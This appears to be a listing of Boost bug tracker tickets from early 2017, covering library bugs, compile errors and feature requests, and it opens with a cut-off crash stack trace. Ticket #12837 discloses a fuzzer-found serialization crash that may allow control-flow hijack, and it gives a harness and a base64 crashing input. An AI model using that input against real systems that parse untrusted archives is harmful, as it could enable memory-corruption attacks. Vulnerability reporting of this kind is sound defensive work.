MSVCP140D!std::locale::_Locimp::_New_Locimp+0x4b [f:\dd\vctools\crt\crtw32\stdcpp\locale0.cpp @ 195] 1e80f37c 0074e902 1e80f3d4 3ad93a38 d5bbdec2 IPCaptureD!std::locale::locale<boost::date_time::time_facet<boost::posix_time::ptime,char,std::ostreambuf_iterator<char,std::char_traits<char> > > >+0x1e [c:\program files (x86)\microsoft visual studio 14.0\vc\include\xlocale @ 288] 1e80f440 007633ce 1e80f554 1e80f5f4 d5bbdd42 IPCaptureD!boost::posix_time::operator<<<char,std::char_traits<char> >+0x232 [c:\views\develop\recorder_alt\recorder_common\media_common\common\oem\boost\boost\date_time\posix_time\posix_time_io.hpp @ 191] 1e80f7c0 0074c521 1e80fa44 1c9f6ba0 3b3c5e78 IPCaptureD!`anonymous namespace'::TimeZoneDatabase::ConvertUTCToTimeZone+0x3ee [c:\views\develop\recorder_alt\recorder_common\src\shared\timestamp.cpp @ 121]

SYMBOL_NAME: heap_corruption!heap_corruption

#12870: bugs?: xpressive: xp::skip(xp::_s) does not work

shinichiro.hamada@… — Sun, 26 Feb 2017 04:05:24 GMT

If you execute the following code, "[ 4]" will be output, but right output is supposed to be "[4]".

Source Code

#include <iostream>
#include <boost/xpressive/xpressive.hpp>
using namespace std;
namespace xp = boost::xpressive;
int main()
{
	xp::sregex rule2 = xp::skip(xp::_s)('(' >> (xp::s1= *xp::_d) >> ')');
	xp::sregex rule1 = xp::skip(xp::_s)(rule2);
	xp::smatch match1;
	if (!xp::regex_match(string("( 4  )"), match1, rule1)) {
		cout << "syntax error" << endl;
	} else {
		auto&& match2 = *match1.nested_results().begin();
		string text = match2[1];
		cout << "[" << text << "]" << endl;
	}
	return 0;
}

Compilation Environment

[OS] centos 6.8
[Compiler] g++ v4.9.3
[Command Line] g++ -std=c++11 a.cpp
[Libs] boost-1.63.0

Thanks for Boost.Xpressive!

#12869: Getting the path of the current executable

vervaeck.sam@… — Sat, 25 Feb 2017 12:08:01 GMT

I couldn't find any other ticket relating to this issue, so I'm asking here. I think it would be really useful if Boost's FileSystem included a method for getting the path of the current executable in a cross-platform way. I needed this kind of functionality myself just now because I needed to find some files relative to the executable's dir, and I think that a lot of projects can benefit from it. As goes without saying, a solution for this problem in a mature well-tested library beats a quickfix in one of my own projects.

As has been noted in several threads on StackOverflow, using argv[0] to derive the current path has its flaws on many platforms (including mine). A more robust solution would be to use e.g. GetModuleFileName on Windows and /proc/self/exe/ on Linux. The code can I think be fairly easily copied from this StackOverflow answer, which, according to the author, has been tested on various platforms.

Regards, Sam

#12867: log library extensions

vgrinenko@… — Fri, 24 Feb 2017 15:28:27 GMT

Please forward this request to Mr. Andrey Semashev.

Dear Andrey,

in our company we have decided to use the boost log in our applications. We need 2 additional extensions for the file backend:

we want to delete the log files after specific amount of time
we want to make some logs un-deleteable, for example to change the log name in some circumstance, for example in case if the record with severity “fatal” has been written.

For this I have added to your text_file_backend.hpp/ text_file_backend.cpp two additional predicates and some code for these predicates support.

The time_based_deleting_predicate in my application is implemented as:

m_sink->locked_backend()->set_file_collector(sinks::polytec_ext::file::make_collector(
				keywords::target = dir
				, keywords::max_size = maxSize
				, keywords::time_based_deleting = [=](std::time_t time)
			{
				if (deletingInterval.count() == 0)
					return false;
				std::chrono::system_clock::time_point now = std::chrono::system_clock::now();
				std::time_t latest = std::chrono::system_clock::to_time_t(now) - deletingInterval.count();
				return latest > time;
			}));

The record_based_renaming_predicate is implemented as:

			m_sink->locked_backend()->set_record_based_renaming(
				[=](logging::record_view const& rec, boost::filesystem::path& path)
			{
				auto level = boost::log::extract< severity_level >("Severity", rec);
				if (level && severity_level::fatal == level.get())
				{
					auto fname = path.stem();
					bool hasErrorSuffix = boost::algorithm::ends_with(fname.c_str(), L"_ERROR");
					if (!hasErrorSuffix)
					{
						auto newFname = path.parent_path() /
							boost::filesystem::path(path.stem().wstring() + L"_ERROR" + path.extension().wstring());
						path = newFname;
						return true;
					}
				}
				return false;
			});

If you are finding these features useful for other library users and merging (may be with some improvements accordingly to your vision of the library future) with the library code it will make me a pleasure :-) and we will remove our implementation and will use the library “as is”. The ZIP file with my hpp an cpp is attached to the request. I have used 1.57 vesrsion of boost. Thank you for your attention and best regards. Victor Grinenko.

#12866: boost::interprocess::rbtree_best_fit::deallocate() throws boost::interprocess::lock_exception, although basic_managed_memory_impl::deallocate() docs says it never throws

Fri, 24 Feb 2017 14:06:17 GMT

Hi,

I am using boost interprocess 1.61. The destructor of one of my classes calls: boost::interprocess::managed_shared_memory::deallocate(ptr);

As far as I can tell from the docs of basic_managed_memory_impl::deallocate(), it shouldn't throw. But the rbtree_best_fit::deallocate() throws an boost::interprocess::lock_exception.

Is it a bug, or am I missing something? Should I not call deallocate from a destructor?

#12863: some API detection #ifdefs not valid

danalbert@… — Wed, 22 Feb 2017 20:46:40 GMT

There are a couple of guards checking for APIs that are quite fragile and do not work with the latest Android NDK: (your spam detection captcha isn't working, it's issue #302 on the android-ndk/ndk github project)

The first is assuming cfsetspeed is available if _BSD_SOURCE is set: https://github.com/boostorg/asio/blob/develop/include/boost/asio/impl/serial_port_base.ipp#L117

_BSD_SOURCE is something the user defines if they want access to the BSD extensions, and indicates nothing about what the implementation provides.

Second is guarding epoll_create1 based on the presence of EPOLL_CLOEXEC: https://github.com/boostorg/asio/blob/develop/include/boost/asio/detail/impl/epoll_reactor.ipp#L462

This breaks implementations like the following:

#define EPOLL_CLOEXEC O_CLOEXEC
int epoll_create1(int) __attribute__((availability(android,introduced=21)));

(Android here is just an example, this could well be the case on other platforms)

#12862: build boost with Visual Studio 2017 RC without sdk 10

zoruamonster@… — Wed, 22 Feb 2017 15:24:51 GMT

I have installed Visual Studio 2017 with 7.1SDK

After run b2 i got error "cl" not found. Many times! If i run b2 with Visual Studio CMD i got error:

**********************************************************************
** Visual Studio 2017 RC Developer Command Prompt v15.0.26206.0
** Copyright (c) 2016 Microsoft Corporation
**********************************************************************
C:\Program Files (x86)\Microsoft Visual Studio\2017\Community>cd c:\boost
c:\BOOST>b2
C:/BOOST/tools/build/src/tools\msvc.jam:834: in generate-setup-cmd
*** argument error
* rule maybe-rewrite-setup ( toolset : setup-script : setup-options : version :
rewrite-setup ? )
* called with: ( msvc :  :  : default :  )
* missing argument setup-script
C:/BOOST/tools/build/src/tools\msvc.jam:746:see definition of rule 'maybe-rewrit
e-setup' being called
C:/BOOST/tools/build/src/tools\msvc.jam:1076: in configure-really
C:/BOOST/tools/build/src/tools\msvc.jam:201: in configure
C:/BOOST/tools/build/src/tools\msvc.jam:153: in msvc.init
C:/BOOST/tools/build/src/build\toolset.jam:43: in toolset.using
C:/BOOST/tools/build/src/build\project.jam:1052: in using
project-config.jam:3: in modules.load
C:/BOOST/tools/build/src\build-system.jam:249: in load-config
C:/BOOST/tools/build/src\build-system.jam:412: in load-configuration-files
C:/BOOST/tools/build/src\build-system.jam:524: in load
C:\BOOST\tools\build\src/kernel\modules.jam:295: in import
C:\BOOST\tools\build\src/kernel/bootstrap.jam:139: in boost-build
C:\BOOST\boost-build.jam:17: in module scope
c:\BOOST>

#12859: std::string_view as token

Mon, 20 Feb 2017 17:00:10 GMT

When I use std::string_view as a token for the tokenizer, I get an error because it attempts to construct a std::string_view with two iterators, which it doesn't support.

It'd be very nice to support this efficiency-enhacing type by, perhaphs, constructing the token from the underlying character array and a size when two iterators would be ill-formed.

#12852: Resizing fills the circular buffer

b.n.ryland@… — Fri, 17 Feb 2017 21:47:48 GMT

As the following block of code demonstrates, resizing a circular buffer fills it with values and thus full() reports true when one would expect it to be false.

	boost::circular_buffer<double> cb(3);
	std::cout << cb.full() << std::endl;
	for (auto i : cb)
		std::cout << i << " ";
	std::cout << std::endl;
	cb.resize(4);
	std::cout << cb.full() << std::endl;
	for (auto i : cb)
		std::cout << i << " ";
	std::cout << std::endl;

#12841: Boost.Property_Tree Missing Include Bind Placeholders

a.huebl@… — Wed, 15 Feb 2017 23:01:21 GMT

Hi,

I am compiling against boost with gcc/4.9.2, cmake/3.7.2 and cuda/8.0 and get the following compile errors:

boost/property_tree/json_parser/detail/parser.hpp(217): error: identifier "_1" is undefined
boost/property_tree/json_parser/detail/parser.hpp(520): error: identifier "_1" is undefined

due to missing includes of

#include <boost/bind.hpp>
#include <boost/bind/placeholders.hpp>

and _1 itself residing inside boost::placeholders.

Boost 1.61 up to the lastest stable 1.63.0 and the develop version are affected:

https://github.com/boostorg/property_tree/commit/ea940990691de91e9b22255d9b450fcdac237646#diff-0dfb3989a052317b135552cd5d53801d

I attached a patch to fix it and will open a PR on github.

(This bug is quite identical to what I fixed Boost.Python in #10932)

#12838: Invalid assignment in iostreams large_file_test.cpp

stephen.clamage@… — Tue, 14 Feb 2017 21:40:03 GMT

/libs/iostreams/test/large_file_test.cpp, line 337 char buf[1] = { z + 1 }; z is type int

The implicit narrowing conversion from int to char is an error in C++11. With Clang and Oracle Studio it is an unconditional error. With EDG-based compilers, it is an error if you specify strict compliance.

The fix is trivial: char buf[1] = { char(z + 1) };

#12837: Binary serialization: crash that may allow jump to attacker-controlled address

jepler@… — Tue, 14 Feb 2017 18:11:12 GMT

Using afl-fuzz on some simple programs that use boost binary and xml serialization, I have found a number of crashes and assertion failures.

To test the waters, I am beginning by filing a single bug which may allow a jump to an attacker-controlled address (i.e., the most exploitable-looking crash that has turned up so far). On my test system, it crashes on the instruction shown:

=> 0x000000000044849c <+524>:   mov    (%r12),%rax
   0x00000000004484a0 <+528>:   mov    0x20(%rbp),%r15d
   0x00000000004484a4 <+532>:   mov    %r12,%rdi
   0x00000000004484a7 <+535>:   callq  *0x10(%rax)

Notice that the value loaded at instruction <+524> is used to determine the address to call at instruction <+535>. The value of %r12 interpreted as bytes is "\0\0hive\0\0", which makes me strongly suspect that it is data from the input file (part of the 'serialization::archive' signature, masked off). Generally, the whole text of the input file would be considered under the control of the adversary.

I ran my tests on Debian Jessie amd64 with gcc version 4.9.2 (Debian 4.9.2-10). The following revisions of modularized boost were used (the tip of each master branch at the time of writing, as described by 'git describe --tags --always):

config: boost-1.62.0-57-g1abc59c
core: boost-1.61.0-59-gd753d9a
move: boost-1.63.0
serialization: boost-1.61.0-57-g62bf8fc

The commandline to compile the (non-fuzzing) version of the input test program is:

g++-4.9 -std=c++11 -Os -I serialization/include -I core/include -I move/include -I config/include -o pvec_in pvec_in.cc serialization/src/extended_type_info.cpp serialization/src/extended_type_info_typeid.cpp serialization/src/archive_exception.cpp serialization/src/basic_archive.cpp serialization/src/basic_serializer_map.cpp serialization/src/void_cast.cpp serialization/src/singleton.cpp serialization/src/basic_iarchive.cpp serialization/src/binary_iarchive.cpp serialization/src/basic_iserializer.cpp serialization/src/basic_pointer_iserializer.cpp

The breaking input file is (base-64 encoded):

FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlDwAECAQIAQAAAAAAAAAAAwAAAAAAAAABAAAA
AAEAAAD0/wEAAAAAAAAAAAEAAAACAAEAAAACAAAAAgAAAAAA

The source for the test harness program (pvec_in.cc) is

#include <fstream>
#include <vector>
#include <boost/shared_ptr.hpp>
#include <boost/archive/binary_iarchive.hpp>
#include <boost/serialization/nvp.hpp>
#include <boost/serialization/shared_ptr.hpp>
#include <boost/serialization/vector.hpp>
struct boxed_int
{
    boxed_int() : i(0) {}
    boxed_int(int i) : i(i) {}
    int i;
    template<class Archive>
    void serialize(Archive &ar, unsigned version)
    {
        ar & BOOST_SERIALIZATION_NVP(i);
    }
};
typedef boost::shared_ptr<boxed_int> pi;
void go(std::istream &is) {
    std::vector<pi> vv;
    try
    {
        boost::archive::binary_iarchive ia(is);
        ia & vv;
    }
    catch(std::exception &e) {}
}
int main(int argc, char **argv) {
    if(argc > 1) {
        std::ifstream is(argv[1]);
        go(is);
    } else {
        go(std::cin);
    }
    return 0;
}

The test harness program either takes the input file on stdin or the name of the input file as the first positional argument.

I can share details about the fuzzing setup if you like.

Thank you for taking the time to consider this issue.

--Jeff

#12836: the function canonical invalidates a path if there is double dot between two symbolic links

Tue, 14 Feb 2017 15:33:56 GMT

Create unit test like this:

void test()
{
    namespace fs = boost::filesystem;
    const fs::path base_path = createBaseDir();
    // prepare hierarchy
    fs::create_directories(base_path / "a/b/c");
    fs::create_directory_symlink(base_path / "a/b", base_path / "sym"); // base/sym -> base/a/b
    const fs::path test1 = base_path / "sym/../sym/c"; // if a symbolic link is resolved first will be ../s2 exist?
    TS_ASSERT(fs::exists(test1));
    TS_ASSERT(fs::exists(fs::canonical(test1)));
}

Test verify that path test1 exists, but the second calling of this function fails for a normalized path by function canonical. It should work otherwise the function is not reliable. The problem can be resolved if the function canonical first strip path from a dot and double dot and then resolve symbolic links.

I run the unit test only on Windows, but it should be no difference.

#12835: warnings while boost bcp

rgoyal@… — Mon, 13 Feb 2017 14:21:21 GMT

I'm trying to use boost bcp for exporting lockfree/queue.hpp. The command seems to copy files over, but I am seeing the following warnings, and I am wondering are these harmful?

[ron@localhost boost_1_62_0]$ bin.v2/tools/bcp/gcc-4.8.5/release/link-static/bcp --namespace=boostts --boost=/home/ron/boost/include lockfree/queue.hpp /home/ron/TestApp

CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_tester.hpp CAUTION: don't know how to trace depenencies through macro: "PP2" in file: boost/type_traits/detail/is_function_ptr_tester.hpp CAUTION: don't know how to trace depenencies through macro: "PP3" in file: boost/type_traits/detail/is_function_ptr_tester.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_impl.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_impl.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_impl.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_tester.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_tester.hpp CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_tester.hpp CAUTION: don't know how to trace depenencies through macro: "BOOST_ATOMIC_DETAIL_HEADER(boost/atomic/detail/caps_)" in file: boost/atomic/capabilities.hpp CAUTION: don't know how to trace depenencies through macro: "BOOST_ATOMIC_DETAIL_HEADER(boost/atomic/detail/ops_)" in file: boost/atomic/detail/operations_lockfree.hpp Copying file: boost/align/align.hpp Copying file: boost/align/align_up.hpp Copying file: boost/align/align_up_forward.hpp Copying file: boost/align/aligned_allocator_adaptor.hpp Copying file: boost/align/aligned_allocat........... ........... ..... ...

#12832: add a static histogram type

georg@… — Sun, 12 Feb 2017 20:51:21 GMT

Hi there,

my current use of boost accumulators needed a fixed histogram with absolute limits and absolute counts. In my case RT scheduler statistics. For this issue, a density distribution is not suitable. So i created based on density.hpp a histogram.h file.

As i use boost so often, privately and professional, maybe this can be useful :)

Best Regards Georg Gast

#12830: boost::filesystem::windows_name() ?

anonymous — Sat, 11 Feb 2017 15:49:28 GMT

boost::filesystem::windows_name() allows the ? character when this is a dissalowed character.

#12829: Documentation of nonblocking limitations comparaed to MPI standard

thomas.ilsche@… — Fri, 10 Feb 2017 16:24:19 GMT

There is a inconspicuous note in the point-to-point documentation:

Moreover, the MPI standard does not guarantee that the receive makes any progress before a call to "wait" or "test", although most implementations of the C MPI do allow receives to progress before the call to "wait" or "test". Boost.MPI, on the other hand, generally requires "test" or "wait" calls to make progress.

That sounds like MPI makes no additional restrictions compared to the MPI standard, but is more strict than other MPI implementations. That is not correct. The MPI standard explicitly requires a correct MPI implementation to complete a send after the other process "posts the matching (nonblocking) receive even if process one has not yet reached the completing wait call." (Section 3.7.4). The provided Example

The MPI standard gives an example that should not deadlock, translating it to boost.mpi with serialized datatypes (see attachment), it hangs. This is due to the two-phase transfer, where the matching receive is actually only posted on request::wait.

Unfortunately I don't see any way around that limitation. However, the documentation should be improved. It should clearly state that this is a limitation compared to the MPI standard progress guarantee. I believe the wording should also be more clear, i.e. "A synchronous send may not complete until the matching (nonblocking) receive has reached the completing wait call."

#12828: Fatal crash on multiple irecv with the same communicator, sender, tag

thomas.ilsche@… — Fri, 10 Feb 2017 15:54:15 GMT

Posting two irecv on the same sender/tag of a non-primitive data type result in a crash. The problem is the 'two phase' receive, where the actual data irecv is posted only during wait, once the size is known.

Basically the sender will always send in this order (regardless if blocking or not)

send(&msg0.size)
send(msg0.buffer)
send(&msg1.size)
send(msg1.buffer)

However, a nonblocking receiver will post:

irecv(&msg0.size)
irecv(&msg1.size)
// WaitAll or the likes
irecv(msg0.buffer)
irecv(msg1.buffer)

A trivial example that crashes is attached.

MPI has a well-defined determinist order guarantee (Section 3.5), and also specifically "Nonblocking communication operations are ordered according to the execution order of the calls that initiate the communication." (Section 3.7.4)

I cannot find any explanation of this severe limitation in the boost documentation.

I could think of two possible ways out:

Create hidden additional duplicate communicators for each boost::mpi::communicator so that two different communicators are used for sending size & buffer. That seems to be quite clean, but requires lots of changes to the interface.

One could also split the tag-space in half and use the upper half for the additional messages. That of course is really nasty and can result in non standards conforming behavior.

#12827: test of numpy initialization

en@… — Fri, 10 Feb 2017 15:51:24 GMT

It would be nice to be able to test :

wether numpy library has already been initialized (test wether BOOST_NUMPY_ARRAY_API is null ?)

return a value from boost::python::numpy::initialize to check wether initialization succeed

Regards

#12826: Disabled SSL compression results in compile failure

ecprodev@… — Thu, 09 Feb 2017 23:57:14 GMT

When SSL compression is disabled and openssl version >= 1.0.2, < 1.1.0 is used, a compile failure results due to "SSL_COMP_free_compression_methods()" function not existing. An additional check needs to be added to ensure that compression is enabled. This is likely related to the patch for ticket #10795.

Compile error:

boost/asio/ssl/detail/impl/openssl_init.ipp: In destructor 'boost::asio::ssl::detail::openssl_init_base::do_init::~do_init()':
boost/asio/ssl/detail/impl/openssl_init.ipp:84:5: error: '::SSL_COMP_free_compression_methods' has not been declared

#12825: Missing exports in numpy library

en@… — Thu, 09 Feb 2017 15:59:16 GMT

Hi,

I think export macros are missing in numpy part of python library.

We have for example :

void initialize(bool register_scalar_converters=true);

I think we should have :
void BOOST_NUMPY_DECL initialize(bool register_scalar_converters=true);

#12823: Partial sort"'`--

Domagoj Šarić — Wed, 08 Feb 2017 17:26:02 GMT

Please add partial sort versions (i.e. std::partial_sort counterparts).

#12822: MSVC14u3: compiler warning

Domagoj Šarić — Wed, 08 Feb 2017 17:24:20 GMT

I get a: "Warning C4267 'argument': conversion from 'size_t' to 'int', possible loss of data" which cannot be silenced with a pragma and so it causes a compilation failure in treat-warnings-as-errors builds...

This is the template instantiation back trace to your source:

<algorithm> line 2671
<algorithm> line 2686
<algorithm> line 2748
<algorithm> line 2776
<algorithm> line 2784
<boost/sort/spreadsort/detail/integer_sort.hpp> line 297

#12821: Crash in integer_sort when reverse sorting a struct

Domagoj Šarić — Wed, 08 Feb 2017 17:14:28 GMT

I have a custom 'zip' iterator (that iterates over two arrays):

its value_type = std::pair<std::uint32_t, T>
its reference = std::pair<std::uint32_t &, T &>.

I want to reverse sort these two arrays so I do:

auto const comparator( []( auto const & left, auto const & right ) noexcept { return left.first > right.first; } );
auto const rightshift{ []( custom_iterator::reference const x, unsigned const offset ) noexcept { return x.first >> offset; } };

...but there is a crash in integer_sort in this case (if I do a 'normal' less-than compare, i.e. not a reversed sort) then it works...

#12820: Unsigned value type accepts negative argument"'`--

avogel@… — Wed, 08 Feb 2017 13:28:23 GMT

In program_options, an option with e.g. value<std::uint32_t>() will accept negative arguments. A positional will not work without preceding -- because the minus sign is treated as the option character, though. So it's:

mycommand --foo-level -1

mycommand --foo-level=-1

mycommand -- -1

Assuming foo-level takes a std::uint32_t (and is the first positional option for the latter example), this will be accepted and converted to 4294967295 (aka UINT32_MAX). Likewise,

mycommand --foo-level -4294967196

will result in a value of 100. There's a workaround with a custom validator discussed at:

http://stackoverflow.com/questions/36800596/disallow-negative-argument-for-unsigned-value-with-boostprogram-options

But this should not be necessary IMO.

#12816: error using with WinRT

Sun, 05 Feb 2017 19:33:03 GMT

Hello, I have a problem compiling the file "msvc/typeof_impl.hpp" when using it in Visual Studio 2015 as part of a Universal Windows App based on C++/WinRT projection (moderncpp.com). I'm stuck on the line no. 103, which also includes "VC8.0 specific bugfeature" comment. The project is otherwise functional, it is one of the samples published with C++/WinRT projection headers.

Thank you for your time and effort.

tom

#12815: Boost asio 1.63 examples are all broken links

marvin.herbold@… — Sun, 05 Feb 2017 19:03:48 GMT

In the docs site, the boost 1.63 asio examples are all broken links.

#12814: BOOST_TEST_EQ has wrong behavior for const char*

Sun, 05 Feb 2017 17:16:26 GMT

BOOST_TEST_EQ internally compares its arguments using test_eq_impl, which calls operator==. If BOOST_TEST_EQ is called with two c-strings of type const char*, it compares the addresses, not the strings.

The following fails, while it should succeed:

const char* s1 = "abc"; std::string s2("abc"); BOOST_TEST_EQ(s1, s2.c_str()); fails

Solution: Add an overload for boost::detail::test_eq_impl which compares const char* using std::strcmp.

Similarly for test_ne_impl.

#12810: feature parity between boost::intrusive_ptr and boost::interprocess::intrusive_ptr

mikolaj.krzewicki@… — Fri, 03 Feb 2017 13:01:34 GMT

Dear all, i'd like to request to bring boost::interprocess::intrusive_ptr interface up to the level of boost::intrusive_ptr, more specifically to add the move operators and e.g. release() method, as discussed on the mailing list (copy below). thanks, Mikolaj

On 13/01/2017 13:42, Mikolaj Krzewicki wrote:

Dear all, would it be possible to add the rvalue operators to interprocess::intrusive_ptr akin to what is already available in "regular" boost::intrusive_ptr:

Move support

#if !defined( BOOST_NO_CXX11_RVALUE_REFERENCES )

intrusive_ptr(intrusive_ptr && rhs) BOOST_NOEXCEPT : px( rhs.px ) {

rhs.px = 0;

}

intrusive_ptr & operator=(intrusive_ptr && rhs) BOOST_NOEXCEPT {

this_type( static_cast< intrusive_ptr && >( rhs ) ).swap(*this); return *this;

}

#endif

Sure, please fill a ticket so this is not forgotten.

Best,

Ion

#12809: crash in boost interprocess cached adaptive pool when using allocate_one method

naidu.trk@… — Fri, 03 Feb 2017 10:44:56 GMT

create a segment manager and then create a cached adaptive pool. Allocate an object with allocate_one method. do it many times and we will see a consistent crash in cached_allocator while traversing the multiallocation chain. boost named interprocess mutexes were used to protect the pools. The crash goes away when allocate method is used instead of allocate_one but the allocate method will bypass the cached allocator. A stack trace is pasted here for reference.

Reading symbols from client...done. [New LWP 6334] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Core was generated by `./client'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x0000000000499663 in boost::interprocess::offset_ptr<boost::intrusive::slist_node<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, long, unsigned long, 0ul>::offset_ptr (ptr=..., this=0x7fff0a022830)

at ../..opensource/boost_1_62_0/include/boost/interprocess/offset_ptr.hpp:270

270 (ipcdetail::offset_ptr_to_offset_from_other(this, &ptr, ptr.internal.m_offset))) (gdb) bt #0 0x0000000000499663 in boost::interprocess::offset_ptr<boost::intrusive::slist_node<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, long, unsigned long, 0ul>::offset_ptr (ptr=..., this=0x7fff0a022830)

at ../..opensource/boost_1_62_0/include/boost/interprocess/offset_ptr.hpp:270

#1 boost::intrusive::slist_node_traits<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >::get_next (n=...)

at ../..opensource/boost_1_62_0/include/boost/intrusive/detail/slist_node.hpp:53

#2 0x0000000000495b98 in boost::intrusive::slist_iterator<boost::intrusive::bhtraits<boost::intrusive::slist_base_hook<boost::intrusive::void_pointer<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, boost::intrusive::link_mode<(boost::intrusive::link_mode_type)0>, void>, boost::intrusive::slist_node_traits<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, (boost::intrusive::link_mode_type)0, boost::intrusive::dft_tag, 2u>, false>::operator++ (this=0x7fff0a0228c0)

at ../..opensource/boost_1_62_0/include/boost/intrusive/detail/slist_iterator.hpp:83

#3 0x000000000049ecd5 in boost::intrusive::iterator_distance<boost::intrusive::slist_iterator<boost::intrusive::bhtraits<boost::intrusive::slist_base_hook<boost::intrusive::void_pointer<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, boost::intrusive::link_mode<(boost::intrusive::link_mode_type)0>, void>, boost::intrusive::slist_node_traits<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, (boost::intrusive::link_mode_type)0, boost::intrusive::dft_tag, 2u>, false> > (first=..., last=...)

at ../..opensource/boost_1_62_0/include/boost/intrusive/detail/iterator.hpp:131

#4 0x000000000049ada1 in boost::intrusive::slist_impl<boost::intrusive::bhtraits<boost::intrusive::slist_base_hook<boost::intrusive::void_pointer<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, boost::intrusive::link_mode<(boost::intrusive::link_mode_type)0>, void>, boost::intrusive::slist_node_traits<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >, (boost::intrusive::link_mode_type)0, boost::intrusive::dft_tag, 2u>, unsigned long, 7ul, void>::incorporate_after (

this=0x6de778 <ranzure::platform::bufferManager::getInstance()::instance+184>, prev_pos=..., f=..., before_l=..., n=3) at ../..opensource/boost_1_62_0/include/boost/intrusive/slist.hpp:1906

#5 0x0000000000496d8b in boost::container::container_detail::basic_multiallocation_chain<boost::interprocess::offset_ptr<void, long, unsigned long, 0ul> >::incorporate_after (this=0x6de778 <ranzure::platform::bufferManager::getInstance()::instance+184>, after_this=..., b=...,

before_e=..., n=3) at ../..opensource/boost_1_62_0/include/boost/container/detail/multiallocation_chain.hpp:164

#6 0x0000000000495873 in boost::container::container_detail::private_adaptive_node_pool_impl<boost::interprocess::segment_manager_base<boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0ul>, 0ul> >, 6u>::allocate_nodes (this=0x7f276a3505c8, n=64, chain=...) at ../..opensource/boost_1_62_0/include/boost/container/detail/adaptive_node_pool_impl.hpp:462 #7 0x0000000000492512 in boost::interprocess::ipcdetail::shared_pool_impl<boost::interprocess::ipcdetail::private_adaptive_node_pool<boost::interprocess::segment_manager<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0ul>, 0ul>, boost::interprocess::iset_index>, 1088ul, 512ul, 1024ul, (unsigned char)10> >::allocate_nodes (this=0x7f276a3505c8,

n=64, chain=...) at ../..opensource/boost_1_62_0/include/boost/interprocess/allocators/detail/allocator_common.hpp:762

#8 0x000000000048f22b in boost::interprocess::ipcdetail::cache_impl<boost::interprocess::ipcdetail::shared_adaptive_node_pool<boost::interprocess::segment_manager<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0ul>, 0ul>, boost::interprocess::iset_index>, 1088ul, 512ul, 1024ul, (unsigned char)10> >::cached_allocation (

this=0x6de770 <ranzure::platform::bufferManager::getInstance()::instance+176>) at ../..opensource/boost_1_62_0/include/boost/interprocess/allocators/detail/allocator_common.hpp:199

#9 0x000000000048ccb1 in boost::interprocess::ipcdetail::cached_allocator_impl<ranzure::platform::bufferManager::oneKBuffer, boost::interprocess::ipcdetail::shared_adaptive_node_pool<boost::interprocess::segment_manager<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0ul>, 0ul>, boost::interprocess::iset_index>, 1088ul, 512ul, 1024ul, (unsigned char)10>, 2u>::allocate_one (this=0x6de770 <ranzure::platform::bufferManager::getInstance()::instance+176>)

at ../..opensource/boost_1_62_0/include/boost/interprocess/allocators/detail/allocator_common.hpp:644

#10 0x00000000004876b4 in ranzure::platform::bufferManager::get1KBuffer ( ---Type <return> to continue, or q <return> to quit---

this=0x6de6c0 <ranzure::platform::bufferManager::getInstance()::instance>) at buffmanager.cc:193

#11 0x000000000047e7af in main (argc=1, argv=0x7fff0a023158) at client.cc:67

#12807: boost::python::objects::add_cast can make incorrect connections

Thu, 02 Feb 2017 23:10:23 GMT

We seem to be fairly unique in using add_cast (at least I couldn't find many other reports on Google), so maybe we're not playing by the rules. However.....

We've observed that when adding lots of casting relationships via add_cast, sometimes the relationships aren't setup properly.

I've narrowed this down to demand_types() in inheritance.cpp

It appropriately reserves space to avoid overall reallocation for the type_index vector, however as best I can tell, demand_type() will still shift elements in the vector when it calls insert() with an iterator in the middle of the vector. As a result, we're observing:

demand_types() calls demand_type() to set 'first'
demand_types() calls demand_type() to set 'second'
- this call to demand_type() calls insert() which shifts the element that 'first' was previously pointing at

As a result, 'first' ends up pointing at the wrong element, and the wrong pair of vertices are connected in the adjacency_list, effectively setting up a bogus casting relationship.

The eventual impact is that users' python scripts start failing with error messages about their arguments not matching the C++ signature.

Maybe we're breaking a contract by calling add_cast without somehow registering both end-points into the adjacency_list and, if so, I'd love to get some best-practice guidance.

If not, and this is a legitimate issue, here's the patch we're putting in place for the time being:

    type_index_t::iterator first = demand_type(t1);
    type_index_t::iterator second = demand_type(t2);
+   first = demand_type(t1);

The first two (unchanged) calls still ensure both types have associated vertices, and the last (new) call compensates for the possibility that the second call invalidated the result from the first call.

I hope this report is useful. It's my first, so please let me know if I can provide any more info! I'll try to upload a repro case later if I can extract it from our production codebase.

